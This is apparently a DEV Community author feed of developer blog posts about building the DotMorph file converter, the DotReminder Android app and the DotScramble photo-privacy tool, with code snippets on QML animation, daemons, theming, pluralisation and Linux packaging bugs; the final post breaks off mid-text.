DEV Community: freerave

Making a file converter feel alive with QML

freerave — Sat, 07 Nov 2026 20:28:43 +0000

Part 2 was about DotMorph's conversion engine. This one is about the part people actually see: a two-ring radial menu that blooms around a file, written in QML and driven from Python with PySide6.

Why QML and not widgets

A radial menu is all curves, glows and motion. In QWidgets that means hand-painting every frame with QPainter and running your own animation timers. In QML, an animation is a property with a Behavior, and the scene graph draws everything on the GPU. The Python side (a Bridge QObject) exposes the file, the targets, progress and status, and QML just reacts.

Drawing a ring sector

My first attempt drew triangles instead of ring sectors, and the labels on top were invisible because of a colour-mixing bug. The version that works describes each sector as an SVG path: the outer arc clockwise, a line inward, the inner arc back. QtQuick.Shapes renders it with the curve renderer:

// ring sector as an SVG path: outer arc clockwise, inner arc back
function pt(r, deg) {
    var a = deg * Math.PI / 180
    return (s.cx + r * Math.cos(a)).toFixed(2) + " " + (s.cy + r * Math.sin(a)).toFixed(2)
}
readonly property string d: {
    var bigO = sweepO > 180 ? 1 : 0, bigI = sweepI > 180 ? 1 : 0
    return "M " + pt(oR, a0) + " A " + oR + " " + oR + " 0 " + bigO + " 1 " + pt(oR, a0 + sweepO)
         + " L " + pt(iR, b0) + " A " + iR + " " + iR + " 0 " + bigI + " 0 " + pt(iR, b0 - sweepI) + " Z"
}

ShapePath {
    strokeColor: s.mix(s.theme.sectorEdge, Qt.lighter(s.hot, 1.35), s.lift)
    fillGradient: RadialGradient { /* sector colour → category colour, by s.lift */ }
    PathSvg { path: shape.d }
}

The gaps between sectors are constant in pixels, not degrees (gapPx / radius converted to an angle), so the inner and outer rings line up visually even though their circumferences differ.

One number drives the hover

Each sector has a single animated property, lift: 0 when idle, about 0.55 when its category is open, 1 when hovered. Colour, outward push and outer radius all read from it, so they can never get out of sync:

property real lift: busy ? 0 : (hovered ? 1 : (selected ? 0.55 : 0))
Behavior on lift { NumberAnimation { duration: s.theme.ms(170); easing.type: Easing.OutCubic } }

transform: Translate {
    x: Math.cos(s.midRad) * 7 * s.lift
    y: Math.sin(s.midRad) * 7 * s.lift
}

theme.ms() scales every duration, and returns 0 when reduce motion is on. That makes the accessibility setting a single switch instead of a hunt through fifty animations.

The intro uses the same trick: every sector has a reveal property that animates from 0 to 1 with a per-sector delay (order * stagger). Scale, rotation and opacity are all functions of it, which gives you a staggered fly-out with a small spin. Labels counter-rotate (rotation: -s.rotation) so the text stays upright while the sector spins in.

The success burst

When a conversion finishes, a check mark draws itself in the hub and particles fly out. That's QtQuick.Particles with an emitter that does nothing until asked:

ParticleSystem { id: particles; running: wheel.theme.motion > 0 }
Emitter {
    id: burst
    system: particles
    x: wheel.cx; y: wheel.cy; width: 1; height: 1
    emitRate: 0
    lifeSpan: 1100; lifeSpanVariation: 350
    size: 14; sizeVariation: 8; endSize: 2
    velocity: AngleDirection { angleVariation: 360; magnitude: 300; magnitudeVariation: 160 }
    acceleration: PointDirection { y: 240 }
}

burst.burst(110) on success, and the slight downward acceleration makes it fall like confetti instead of expanding like a balloon. Failure gets a cross and a short SequentialAnimation shake instead.

0.1 seconds, thanks to a daemon

Starting Python, importing PySide6 and compiling the QML takes about a second. That's fine for an app and terrible for a right-click menu. So DotMorph keeps a daemon running (started by XDG autostart) with Qt and the wheel already loaded.

The trick is that the client side imports no Qt at all. dotmorph FILE checks for the daemon's socket in $XDG_RUNTIME_DIR and sends one line of JSON:

def request(message: dict, timeout: float = 2.0) -> dict | None:
    """Send one request; returns the reply, or None when no daemon answers."""
    path = socket_path()
    if not path.exists():
        return None
    try:
        with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock:
            sock.settimeout(timeout)
            sock.connect(str(path))
            sock.sendall((json.dumps(message) + "\n").encode())
            with sock.makefile("r", encoding="utf-8") as reader:
                line = reader.readline()
        return json.loads(line) if line else None
    except (OSError, ValueError):
        return None

If nobody answers, it falls back to opening its own window. The wheel appears in about 0.1 s. Two bugs from building this:

The daemon didn't answer. Its socket server was created before the Qt event loop existed, so connections were accepted into the void.
Long socket paths. Unix socket paths are limited to 108 bytes. An unusual $XDG_RUNTIME_DIR blew past that, so there's now a short private fallback path.

The hotkey that made the wheel shake

Super+Shift+M opens the wheel with whatever files you copied. When I tested it, holding the keys made the wheel shake. Key repeat fires about every 30 ms, each repeat sent a new "open", and each "open" restarted the bloom animation. The fix is a debounce in the daemon:

repeat = now - self._last_summon < SUMMON_DEBOUNCE   # 0.6 s
self._last_summon = now
if visible and (repeat or [p for p in paths if p.is_file()] == self._files):
    return False  # already showing these files: leave the wheel alone

A drag is not a click

The wheel is a frameless window you can grab anywhere and move. Early on, releasing a drag over a sector started a conversion. Now a press that moves past a small threshold becomes a move, never a click, and the wheel turns see-through while you move it.

The edge dock

Drag the wheel against the left or right edge of the screen and it turns into a slim glowing tab. Hover it, click it, or drag files over it, and a half wheel slides out of the edge, like Android's edge panels. It folds back when the pointer leaves, after a conversion, or on Esc.

The dock is a small state machine (free → docked → peek) in Python that resizes and moves the window. QML switches the wheel into half mode. Some details took more time than the feature itself:

Mirroring. On the right edge the half wheel is mirrored so the first category is still on top. The hidden half behind the screen edge must never react to clicks.
Sliding. Dragging the tab up and down moves it along the edge; pulling it away gives you the full wheel back.
Memory. The side and height are saved, and the daemon brings the tab back at login.
Progress while folded. A conversion that keeps running fills the tab from the bottom up.

Wayland, honestly

A menu that opens at a precise spot and stays above everything is exactly what Wayland doesn't let a normal client do. DotMorph runs the wheel through XWayland on Wayland sessions:

if os.environ.get("XDG_SESSION_TYPE") == "wayland" and "QT_QPA_PLATFORM" not in os.environ:
    os.environ["QT_QPA_PLATFORM"] = "xcb"

The cost: it opens centred, because Wayland doesn't expose the pointer position, and it's X11 under the hood. A native version using the layer-shell protocol (KDE and wlroots compositors) is on the roadmap.

Right to left

The settings window and the options panel are fully translated to Arabic. For layout, QML does most of the work:

LayoutMirroring.enabled: theme.rtl
LayoutMirroring.childrenInherit: true

That mirrors anchors and layouts. Sliders and toggles needed manual flipping, and an Arabic font (Noto Kufi Arabic, or another Noto Arabic face) is picked automatically. Format names, commands and engine errors stay English on purpose.

Testing a UI that moves

The test suite loads the real QML offscreen and drives it like a user would: arrow keys and Enter to pick a format, a drag that must not convert, the options panel, the dock modes, hit-testing on both edges. A message handler collects QML warnings, and the tests fail if any show up.

The GIFs in this post come from the same idea. A script opens the real wheel, presses the keys, grabs every frame with QQuickWindow.grabWindow(), and ffmpeg turns the frames into the GIF. One lesson from that: Qt's offscreen platform has no OpenGL, so the Shapes simply weren't drawn. Running under Xvfb with Mesa's software OpenGL fixed it.

In part 4, the last one: shipping all of this to Linux users five different ways from one signed git tag, and what AppImageHub's test taught me about "works on my machine".

GitHub: kareem2099/DotMorph
Project page: dotsuite.dev/en/product/dotmorph

Rebuilding DotReminder: Glass UI, Reliable Reminders, and AI Drafts

freerave — Thu, 05 Nov 2026 18:24:58 +0000

A reminder app has a simple promise: help you remember something when it matters.

That makes it an interesting app to redesign. A polished home screen is useful, but the experience also depends on what happens after you save a reminder, put the phone down, and leave the app alone.

For DotReminder 0.0.7, I worked on both sides: a glass-inspired interface built with Jetpack Compose, and the scheduling, account, and AI flows behind it.

DotReminder is an Android project from FreeRave (DotSuite). The source is available under Apache License 2.0:

Explore DotReminder on GitHub

A visual language shared across screens

The redesign started with the screens people use most: the reminder overview, the creation form, the calendar, and the AI conversation. It then extended to templates and account settings.

The goal was a calmer interface with translucent-looking surfaces, rounded cards, clear grouping, and light and dark appearances. Those choices needed to feel consistent across the app, rather than becoming a separate styling exercise for every screen.

Shared Compose components made that practical. Screens use the same glass surfaces and theme foundations, while their state and actions stay in ViewModels, controllers, and service or repository boundaries.

That division also helped with screenshots: I could render the actual production screen content using local demonstration state, without signing into an account or writing sample reminders to Firestore.

Saving a reminder is only the beginning

One of the most useful findings during device review was also one of the simplest: a saved reminder could exist while notification permission was denied.

The app needed to explain that dependency at the point where it mattered. The updated save flow checks notification access, blocked reminder channels, and precise-alarm access. If the user leaves to grant access, the form keeps its draft and validates the time again when they return.

Reminder scheduling also has to survive more than the current process. Device-local alarm records now keep the information needed to restore registrations after reboot, an app update, or relevant clock and access changes, without first fetching the reminder from the network.

Recurring reminders needed a related correction: after one occurrence, their next occurrence should be scheduled and shown as upcoming. A recurring task should not remain stuck in an overdue state just because its first date passed.

Notification delivery and task completion remain separate concepts. A one-time reminder can sound and still appear overdue until the task is completed.

There are still real device constraints. Permissions, notification-channel settings, Do Not Disturb, and power settings can affect alerts. I tested delivery on the review device, but that does not turn Android scheduling into a universal timing guarantee.

AI suggests; the user saves

The assistant supports a different way to start a reminder. Someone can write:

Remind me to call Mum tomorrow at 6 pm.

The result is a draft, not an automatically saved task. The user reviews the title, date, time, and other details in the regular reminder form before saving.

This keeps the same validation and permission flow for both manual entry and AI-assisted entry. It also gives the user a chance to correct an interpretation before it becomes a notification.

The AI request path changed in this version too. Android calls an authenticated DotSuite gateway, while the provider key stays in the server environment. The gateway verifies the signed-in account's Firebase token, validates request sizes and shapes, and applies account and network usage limits.

On the client, requests are tied to the account that started them. Signing out or switching accounts discards an old result, and cancelling a request cancels its network call.

These are specific controls around credentials and requests. They do not make AI output inherently correct, which is why draft review remains part of the product.

Giving account controls clear meanings

Account work surfaced another distinction that needed to be visible in the interface: biometric app lock and account MFA serve different purposes.

Biometric app lock protects access to an existing signed-in session when returning to the app. Authenticator-based verification remains a separate account sign-in step for enrolled accounts.

The privacy and deletion controls also needed plain wording. DotReminder provides a request pathway for deleting an account and its associated data. Support verifies ownership and processes verified requests within 30 days. Opening the request page or an email draft does not itself erase the account.

These details are less visible than the home screen, but they shape whether people understand what an action will actually do.

What I wanted to keep maintainable

The Android stack is Kotlin, Jetpack Compose, Hilt, Firebase, and DataStore. Version 0.0.7 targets Android 16 / API 36, while retaining Android 10 / API 29 as its minimum.

For this update, the useful boundaries were concrete:

Screen rendering can accept demonstration state without live services.
Reminder drafts pass through a shared review and save flow.
Alarm restoration has device-local records it can use without a network fetch.
Authentication challenges and biometric locking stay separate from visual components.
Provider credentials belong in the backend environment.

The repository includes focused tests and review notes for these flows, along with the localized store artwork sources. The native UI currently uses English labels; the assistant supports Arabic and English requests.

Try the source and tell me what you would change

This release is a useful checkpoint for the project: the screens share a visual language, and the less visible flows received attention alongside them.

I'd like feedback on the reminder form, the calendar, and the AI draft review. What would make a reminder app easier for you to trust and use every day?

Google Play: DotReminder on Google Play

Source: github.com/kareem2099/DotReminder

Project: DotSuite

Support: support@dotsuite.dev

Building DotScramble Part 4: A New UI in One Stylesheet, 7 Languages With Real Plurals, and the Bugs Only a Clean Machine Found

freerave — Mon, 02 Nov 2026 19:27:44 +0000

DotScramble 1.5 rebuilt: one token-based QSS file for 16 themes, a canvas with Detect preview and Compare, five new languages with CLDR plurals, a privacy tool that refuses to fail silently, and four packaging bugs my own CI never saw.

Part 3 ended with the PySide6 migration and the design of AI Evasion. Since then DotScramble went through its biggest update yet: 1.5. Four things changed:

The whole interface was rebuilt, and every color now comes from one stylesheet.
It went from two languages to seven, with plural forms that are actually correct.
A batch of fixes, led by one rule: a privacy tool must never fail silently.
Releases are now built, tested and signed by GitHub Actions, and a clean machine found four bugs my own CI had been hiding.

If you haven't seen what DotScramble does, the tour covers it in five minutes.

1. The UI rebuild

The 1.4 window had grown by accretion: a header, then a toolbar, then buttons that did the same thing as the toolbar, long radio lists, emoji as icons, and colors set in Python all over the place. Changing a theme meant hoping every widget had been told.

1.5 has a single toolbar, a sidebar in four numbered steps (What to hide → How to hide it → Fine-tune → Metadata on save), effect tiles instead of radio buttons, one primary Apply effect button, and SVG icons that recolor with the theme.

One stylesheet, sixteen themes

The rule I set: widgets never set a color or a font in Python. All styling lives in one file, assets/themes/theme_template.qss, written with tokens:

/* {key} is a theme color, {key@NN} the same color at NN % opacity,
   {on:key} a readable text color on top of it */
QPushButton[variant="primary"] {
    background-color: {accent_cyan};
    border: 1px solid {accent_cyan};
    color: {on:accent_cyan};
    font-weight: 700;
}

QPushButton[variant="primary"]:hover {
    background-color: {accent_cyan@85};
}

The theme manager fills the tokens from the active theme in themes.json with one regex:

_TOKEN_RE = re.compile(r"\{(on:)?([a-z_]+)(?:@(\d{1,3}))?\}")

def _resolve_token(self, colors, match):
    on, key, alpha = match.groups()
    value = colors[key]
    if on:   # pick white or near-black, whichever reads better on this color
        white = self._calculate_contrast_ratio(value, '#ffffff')
        black = self._calculate_contrast_ratio(value, '#000000')
        return '#ffffff' if white >= black else '#111111'
    if alpha is not None:
        r, g, b = self._hex_to_rgb(value)
        return f"rgba({r}, {g}, {b}, {min(int(alpha), 100) / 100:.2f})"
    return value

Widgets only expose hooks: an objectName for unique pieces (#Toolbar, #Sidebar), a variant property for button flavours, a role for text styles. {on:key} turned out to be the most useful token: text on an accent-colored button is readable in all 16 themes without a single per-theme override. The image picker, the metadata dialogs and the batch window, which used to carry their own inline styles, now use the same file, so dialogs finally follow the theme too.

A canvas you can trust

The old preview was a scaled label. The new canvas has mouse-wheel zoom around the cursor, pan, fit / 100 %, and two features that change how the app feels:

Detect preview (Ctrl+F) outlines every region before anything is touched. Clicking one toggles it:

  index = self._detection_at(pos)
  if index is not None:
      self._skipped ^= {index}          # click again to include it back
      self.detectionsChanged.emit()

When you press Apply, only the regions still outlined are hidden. In a group photo, you decide who stays visible.

Compare (Ctrl+Shift+C) draws the original on one side of a draggable divider and the result on the other, by clipping the "before" image to the divider's position.

Snapping to half the screen

A small bug with a lesson. On GNOME, dragging the window to the screen edge did nothing. The window refused to tile because its minimum width was 1,095 px: the toolbar with all its labels was that wide, and Qt adds up minimum sizes. Half of a 1920 px screen is 960.

The fix has two parts. The toolbar no longer reports a minimum width (QSizePolicy.Policy.Ignored), and an event filter switches it to icon-only buttons when there isn't room for the labels:

self.toolbar.setSizePolicy(QSizePolicy.Policy.Ignored, QSizePolicy.Policy.Fixed)

def _set_toolbar_compact(self, compact):
    style = (Qt.ToolButtonStyle.ToolButtonIconOnly if compact
             else Qt.ToolButtonStyle.ToolButtonTextBesideIcon)
    for button in self._labelled_tools:
        button.setToolButtonStyle(style)

The window's minimum is now 640 × 480, and it snaps like any other app.

2. Seven languages, and plurals that are actually right

1.5 adds Persian (right to left), Spanish, Russian, German and Turkish to English and Arabic, and starts in your system language when it's one of them. Every screen is translated, including the factory metadata presets. Those got stable IDs (strip_all, strip_gps…) and translated display names, so presets users saved under their own names keep working.

The interesting part was counting. My first translations dodged numbers ("Processed: 3") because "3 files" is easy in English and wrong almost everywhere else:

Arabic has six plural forms: ملف واحد / ملفين / 3 ملفات / 11 ملفًا…
Russian has three: 1 файл / 3 файла / 5 файлов, and 21 is "one" again.
Persian uses the same form for 0 and 1.

So a counted string in the locale files is now a dict of CLDR plural forms, and get(key, count=n) picks one:

"detected": {
  "one":   "{shown} of {count} region will be hidden — click it to skip it",
  "other": "{shown} of {count} regions will be hidden — click one to skip it"
}

The rules are small functions, straight from CLDR:

def _plural_ar(n: int) -> str:
    if n == 0: return "zero"
    if n == 1: return "one"
    if n == 2: return "two"
    if 3 <= n % 100 <= 10: return "few"
    if 11 <= n % 100 <= 99: return "many"
    return "other"

def _plural_ru(n: int) -> str:
    if n % 10 == 1 and n % 100 != 11: return "one"
    if 2 <= n % 10 <= 4 and not 12 <= n % 100 <= 14: return "few"
    return "many"

One subtlety: in "3 of 4 regions", the noun agrees with the total, not with the number shown, so the total has to pick the form. 105 tests now pin the rules and every counted string in every language.

3. A privacy tool must never fail silently

This one scared me. Updating dependencies pulled in OpenCV 5, which no longer ships the Haar cascade files that free-tier face detection loads. The detectors returned an empty list, which looks exactly like "no faces found". The result: "0 regions processed", a success message, and the face still visible in the saved photo.

For most apps, "found nothing" is a fine default. For an app whose whole job is hiding faces, it's the worst possible outcome. Now the engine can tell the two apart:

@staticmethod
def missing_cascades(mode: str) -> list[str]:
    """Cascade files `mode` needs but that can't be loaded. The detect_* methods
    return [] in that case, which is indistinguishable from "nothing found":
    callers must check this first so a face is never left visible silently."""
    return [f for f in HAAR_CASCADES.get(mode, []) if _get_cascade(f) is None]

The window shows an error before detecting, batch processing marks the file as failed instead of "done", and requirements.txt pins opencv-contrib-python<5 with a comment explaining why.

The same principle fixed a few quieter bugs:

Live preview stacked the effect on itself. Each slider move blurred the already-blurred image, so the preview looked stronger than what you'd save. It now always re-applies to the original.
Redo worked only once in a row: redo saved its result as a new history step, and saving a step clears the redo stack. Redo now saves with clear_redo=False.
A startup error crashed the app (a core dump, because the error dialog was built before QApplication existed) instead of telling you what was wrong.

Activation: "Failed to fetch"

When the DotSuite dashboard moved to dotsuite.dev, Pro activation broke with a bare "Failed to fetch" in the browser. Activation works through a small local HTTP server the app runs on 127.0.0.1: the website sends the licence key to it. Two things had changed underneath it. The new origin wasn't in the server's CORS allow-list, and Chrome's Private Network Access now sends a preflight before a public site may talk to localhost, which the server has to answer explicitly:

if (origin in ALLOWED_ORIGINS
        and self.headers.get('Access-Control-Request-Private-Network', '').lower() == 'true'):
    self.send_header('Access-Control-Allow-Private-Network', 'true')

The second half of the bug was a 404 from a licence server that had moved. Two behaviour changes came with the fix: a rejected activation now shows the server's reason instead of a status code, and a Pro licence is no longer removed when the server simply can't be reached. Only an explicit rejection revokes it.

4. Shipping it: four bugs only a clean machine found

Until 1.4, releases were built on my laptop. That's how 1.4.1 ended up needing a much newer glibc than most users have: PyInstaller binaries need a glibc at least as new as the machine that built them.

In 1.5, pushing a tag runs one workflow on Ubuntu 22.04 (glibc 2.35): tests → build the AppImage, .deb, Arch package and tarball → inspect the binaries → smoke-test the AppImage → write SHA256SUMS → GPG-sign every file → publish. The built-in updater installs an update only after the checksum and the signature check out against a pinned key fingerprint. And version_policy.json in the repo lets an old, broken version show an "Update required" screen with a download button. It never blocks offline use.

That pipeline was green from day one. Then real machines found four bugs.

Bug 1: Tesseract crashed, but only in the packages

Text and single-word detection said "Tesseract not found" in the AppImage and the .deb, yet tesseract was installed. Running it with the bundle's library path showed why:

tesseract: /tmp/_MEI…/libstdc++.so.6: version `GLIBCXX_3.4.32' not found

PyInstaller's bootloader points LD_LIBRARY_PATH at the bundle so the app finds its own libraries. Every program the app starts inherits that, so the system Tesseract loaded the bundle's older libstdc++ from Ubuntu 22.04 and died. The dynamic loader reads the variable once at startup, so the app can safely put the user's value back for its children:

def restore_child_library_path(environ=None, frozen=None):
    environ = os.environ if environ is None else environ
    frozen = getattr(sys, 'frozen', False) if frozen is None else frozen
    if not frozen or not sys.platform.startswith('linux'):
        return
    original = environ.get("LD_LIBRARY_PATH_ORIG")   # saved by the bootloader
    if original is not None:
        environ["LD_LIBRARY_PATH"] = original
    else:
        environ.pop("LD_LIBRARY_PATH", None)

That was 1.5.1.

Bug 2: the AppImage couldn't open a window

I submitted DotScramble to AppImageHub, whose test runs your AppImage on a clean Ubuntu 22.04 and takes a screenshot. It failed:

Cannot load library …/platforms/libqxcb.so: libxkbcommon-x11.so.0: cannot open shared object file
This application failed to start because no Qt platform plugin could be initialized.

Qt's X11 plugin needs five libraries (libxkbcommon-x11, libxcb-icccm, libxcb-keysyms, libxcb-shape, libxcb-xkb) that PyInstaller only bundles if they're installed on the build machine. They weren't, PyInstaller skipped them with a warning nobody read, and my smoke test passed because it ran Qt with the offscreen platform, which never loads the X11 plugin. On my desktop, those libraries happen to be installed, so I never saw it.

I reproduced their environment in Docker before changing anything: same failure, then Application initialized successfully once those five libraries were present. The fix was to install them on the builder. The real change was in the workflow: it now lists every library the X11 plugin links (readelf -d) and fails if one isn't in the binary, and it runs the AppImage on X11 in a clean ubuntu:22.04 container before publishing. Both checks failed on the old build and passed on 1.5.4, and AppImageHub's test turned green.

Bug 3: the check that almost broke the AppImage

To verify the AppImage's embedded update information (so AppImageUpdate and Gear Lever can update it), my first draft of the check read the ELF section with:

objcopy --dump-section .upd_info=/dev/stdout DotScramble-Linux-x86_64.AppImage

With no output file, objcopy rewrites the input in place, and it drops everything after the ELF part, which in an AppImage is the entire SquashFS image. I only noticed because the next step, extracting the AppImage, failed locally with "This doesn't look like a squashfs image". In CI it would have published a broken file. readelf --string-dump=.upd_info only reads.

Bug 4: right metadata, wrong file name

AppImageHub builds its listing from the AppStream file inside the AppImage. I shipped it under the current AppStream name, ….metainfo.xml. Their scripts only read *.appdata.xml for the summary and description, so the listing would have been blank. Same content, different name: 1.5.3.

Bugs I Hit and What They Actually Were

Symptom	Actual cause
Window won't snap to half the screen	toolbar's labels made the minimum width 1,095 px
"0 regions processed", face still visible	OpenCV 5 dropped the Haar cascade files; empty list looked like "no faces"
Preview stronger than the saved image	live preview re-applied the effect to its own output
"Failed to fetch" on activation	new origin missing from CORS, plus Chrome's Private Network Access preflight
"Tesseract not found" in packages only	children inherited the bundle's `LD_LIBRARY_PATH` and its older `libstdc++`
AppImage quits on a clean system	five X11 libraries missing from the build; smoke test ran `offscreen`
AppImage corrupted by its own check	`objcopy` without an output file rewrites the input

Honest Limitations

Still Linux x86_64 only, glibc 2.35+. No Windows or macOS builds yet.
The five new translations are new. They follow CLDR, but a native speaker will find phrasing to fix, and corrections are very welcome.
The theme system covers Qt widgets. The canvas overlays read colors through qproperty-* hooks, so a theme can't yet change, say, the detection outline's thickness.
AI Evasion works as before: slow on the CPU, and tested against MediaPipe only.

Key Takeaways

One stylesheet with tokens beats colors scattered across Python. {on:key} alone removed a whole class of unreadable-button bugs.
Plurals are data, not string formatting. Six Arabic forms don't fit in an f-string.
In a privacy tool, "found nothing" and "couldn't look" must never look the same.
Your CI is a machine you configured. Test on one you didn't: a clean container found two bugs that every green CI run had missed.
Read the tool's man page before pointing it at your release artifact.

DotScramble 1.5.4 is out: AppImage, .deb, Arch package and tarball, all GPG-signed.

GitHub: kareem2099/DotScramble
Download: latest release
Also on: AppImageHub · OpenDesktop
Project page: dotsuite.dev/en/product/dotscramble

8 backends, one engine, and the SVG bug that started it all

freerave — Fri, 30 Oct 2026 14:28:36 +0000

How DotMorph turns Pillow, librsvg, poppler, Ghostscript, ImageMagick, ffmpeg, LibreOffice and pandoc into one conversion engine, and why its SVG rendering moved from ImageMagick to librsvg over ctypes.

In part 1 I introduced DotMorph, a radial-menu file converter for Linux. This post is about the part you don't see: the engine that decides how a file gets converted, and the bug that made me rewrite it.

It started with a broken PNG

The first version of DotMorph sent most image work to ImageMagick. Then I converted an SVG logo to PNG and got this (left):

Same file, two renderers. ImageMagick's built-in SVG renderer (MSVG) dropped the gradients, the dashed stroke and the clip-path, spread letter-spacing across the whole word and stacked a <tspan> on top of its line. On the logo that started this, I measured the damage against Chromium's rendering of the same file: a mean pixel difference of 8.09.

The fix was obvious once I said it out loud: every GNOME desktop already ships the renderer GNOME itself uses, librsvg. After switching, the difference against Chromium dropped to 0.43.

But "just call a different tool for SVG" exposed the real problem: the app was a pile of if extension == ... branches. Adding a renderer meant touching everything. So I rebuilt the engine around one idea.

Backends declare, the registry decides

Every converter is a Backend. It doesn't get called by name; it declares what it needs and what it can do:

@dataclass(frozen=True)
class Requirement:
    tool: str  # executable on PATH, "py:module" (Python package) or "lib:name" (shared library)
    packages: dict[str, str] = field(default_factory=dict)  # package manager -> package
    purpose: str = ""

    def present(self) -> bool:
        if self.tool.startswith("py:"):
            return importlib.util.find_spec(self.tool[3:]) is not None
        if self.tool.startswith("lib:"):
            return ctypes.util.find_library(self.tool[4:]) is not None
        return shutil.which(self.tool) is not None

A backend lists its requirements (ffmpeg, py:PIL, lib:rsvg-2…) and returns the pairs it can handle right now, as {source format: {targets}}. The registry builds the live table from whatever is installed at this moment:

@lru_cache(maxsize=1)
def _table() -> dict[str, dict[str, Backend]]:
    table: dict[str, dict[str, Backend]] = {}
    for backend in backends():
        try:
            pairs = backend.pairs()
        except Exception:  # a broken tool must never take the whole app down
            continue
        for src, actions in pairs.items():
            slot = table.setdefault(src, {})
            for action in actions:
                slot.setdefault(action, backend)
    return table

Three things fall out of this for free:

Priority is just order. Backends are registered best-first (Pillow, poppler, Ghostscript, librsvg, ImageMagick, ffmpeg, LibreOffice, pandoc), and setdefault means the first one that can do a conversion owns it. SVG → PNG goes to librsvg; ImageMagick still handles PSD, XCF, HEIC and JPEG XL.
The menu never lies. The wheel shows actions_for(format), so a conversion only appears if a backend can do it on this machine.
Missing tools become advice. Each requirement knows its package name per package manager, so dotmorph doctor and the error messages can say sudo dnf install poppler-utils instead of "command not found". formats --missing even tells you how many conversions installing a tool would unlock.

On my machine that table holds 440+ conversions across 53 formats. On a minimal install it might be 60, and that's fine.

One conversion, start to finish

Whether it comes from the wheel, the CLI, a file-manager quick action or a watched folder, every conversion goes through the same path.

Safe output

The rule: you never see a half-written file, and nothing gets overwritten.

@contextmanager
def workdir(out: Path) -> Iterator[Path]:
    """Hidden scratch dir inside the output dir: same filesystem, so the final move is a
    rename, big videos don't fill a tmpfs /tmp, and half-written files never show up."""
    with tempfile.TemporaryDirectory(prefix=".dotmorph-", dir=out) as tmp:
        yield Path(tmp)


def finalize(tmp: Path, dest: Path, overwrite: bool) -> Path:
    """Move a finished temp file to its final name. The name is picked under a lock so
    parallel jobs never claim the same 'name (1).ext'."""
    with _finalize_lock:
        final = unique(dest, overwrite)
        shutil.move(str(tmp), final)
    return final

The scratch folder lives next to the output, not in /tmp. That keeps the final move a cheap rename on the same filesystem, and a 4 GB video doesn't fill a RAM-backed /tmp. Batches run in parallel, so picking photo (1).jpg happens under a lock. Otherwise two jobs can both decide that name is free.

Cancel that actually cancels

Clicking the centre of the wheel cancels. That sounds trivial until the tool you're running has children: LibreOffice spawns helpers, and ffmpeg flushes its encoder for seconds after SIGTERM. Every tool starts in its own session (start_new_session=True), and cancel kills the whole process group:

def _kill_group(proc: subprocess.Popen) -> None:
    # Partial output is thrown away anyway, so don't wait long for a graceful exit
    # (ffmpeg flushing its encoder on SIGTERM can take seconds).
    for sig, grace in ((signal.SIGTERM, 0.4), (signal.SIGKILL, 2)):
        try:
            os.killpg(proc.pid, sig)
        except (ProcessLookupError, PermissionError):
            return
        try:
            proc.wait(timeout=grace)
            return
        except subprocess.TimeoutExpired:
            continue

Cancel went from about 2 seconds to about 0.5.

Honest progress

ffmpeg reports progress with -progress pipe:1, and poppler gets one tick per rendered page. Batches count files. Some jobs can't report anything, and one of them taught me to stop faking it. Making a GIF runs a palette pass that reads the whole video before writing a single frame, so the bar sat at 0% the entire time. Now, when a tool can't report progress, the wheel shows elapsed seconds instead of a fake percentage.

Small things that matter

Stream copy first. MOV → MP4 with the same codec is a remux: seconds instead of minutes, and lossless. If the container refuses the codec, it falls back to a transcode.
Encoders are probed, not assumed: libx264 → openh264 → mpeg4, VP9 → VP8. Distros ship very different ffmpeg builds.
compress never makes things bigger. If the "compressed" file is larger, you get the original back.
LibreOffice gets a private profile, so a conversion works while you have LibreOffice open, and those jobs are serialised automatically.

Back to SVG: librsvg without a new dependency

I didn't want to add a Python binding (and its build headaches) just for SVG. librsvg and cairo are already on practically every Linux desktop, so DotMorph calls them directly with ctypes:

class _Libs:
    def __init__(self) -> None:
        def load(name: str, fallback: str) -> ctypes.CDLL:
            return ctypes.CDLL(ctypes.util.find_library(name) or fallback)

        self.rsvg = load("rsvg-2", "librsvg-2.so.2")
        self.cairo = load("cairo", "libcairo.so.2")
        ...
        r = self.rsvg
        r.rsvg_handle_new_from_file.restype = vp
        r.rsvg_handle_new_from_file.argtypes = [ctypes.c_char_p, perr]
        r.rsvg_handle_render_document.restype = i
        r.rsvg_handle_render_document.argtypes = [vp, vp, ctypes.POINTER(_Rect), perr]

Declaring restype and argtypes for every function isn't optional. Without them ctypes assumes int, and on 64-bit a pointer gets silently truncated. That gives you crashes that only show up sometimes.

Two bonuses came with it:

Vector PDF. Rendering onto a cairo PDF surface instead of an image surface gives a real vector PDF. Text stays selectable text.
The right size. The old path rendered SVGs 1.56× larger than their declared size, because it reused the 150 dpi default meant for PDF pages (150 / 96 = 1.56). SVG now has its own default of 96 dpi, so a 480×300 SVG becomes a 480×300 PNG. --dpi 192 gives you 2×.

And the backend's requirement is simply lib:rsvg-2. If it's missing, ImageMagick quietly takes over SVG again, because it's next in line in the registry.

What I'd tell myself at the start

Make capabilities data, not code paths. Once backends declared what they do, the menu, the CLI, doctor, the shell completions and the docs all came from the same table.
Compare against a reference. A screenshot showed the SVG bug; a number (8.09 → 0.43 against Chromium) proved the fix and keeps "looks fine to me" out of the discussion.
Don't fake progress. An honest timer beats a frozen percentage.

In part 3 we go to the other side: the QML wheel, GPU-drawn ring sectors, particles, and how a daemon makes it open in 0.1 s.

GitHub: kareem2099/DotMorph
Project page: dotsuite.dev/en/product/dotmorph

I built a Linux app that hides faces, license plates and GPS from your photos

freerave — Wed, 28 Oct 2026 12:28:51 +0000

DotScramble: blur, pixelate or black-bar faces, plates and text, and strip the EXIF/GPS hidden in the file, before you share a photo. Local, open source, Linux.

Open a photo. Pick what to hide. Compare. Save.

That is DotScramble, a photo privacy studio for Linux. It blurs, pixelates or black-bars faces, eyes, license plates and text, and on save it strips or replaces the EXIF and GPS data hidden in the file. Everything runs on your machine. It's open source (Apache 2.0) and part of DotSuite, my collection of developer tools.

Why?

A photo you're about to post usually shows more than you meant to:

the faces of people who never agreed to be online,
a car's number plate, a name on a badge, an address on a parcel,
and, invisible in the picture itself, the exact GPS location, the phone model and the time it was taken.

The usual options on Linux are a full image editor (select every face by hand, then remember the metadata is still there) or an online "blur faces" site, which means uploading the very photo you're trying to protect. I wanted one small app that does the whole job locally, shows you exactly what it's about to hide, and is honest when it can't.

What it hides, and how

What: faces, eyes, full bodies, license plates, any text it can read (OCR), one specific word (a name, a phone number), regions you draw by hand, or the whole image.

How: seven effects (blur, pixelation, black bar, gradient, mosaic, frosted glass, oil paint) with strength, block size and opacity controls.

Two things make it feel safe to use:

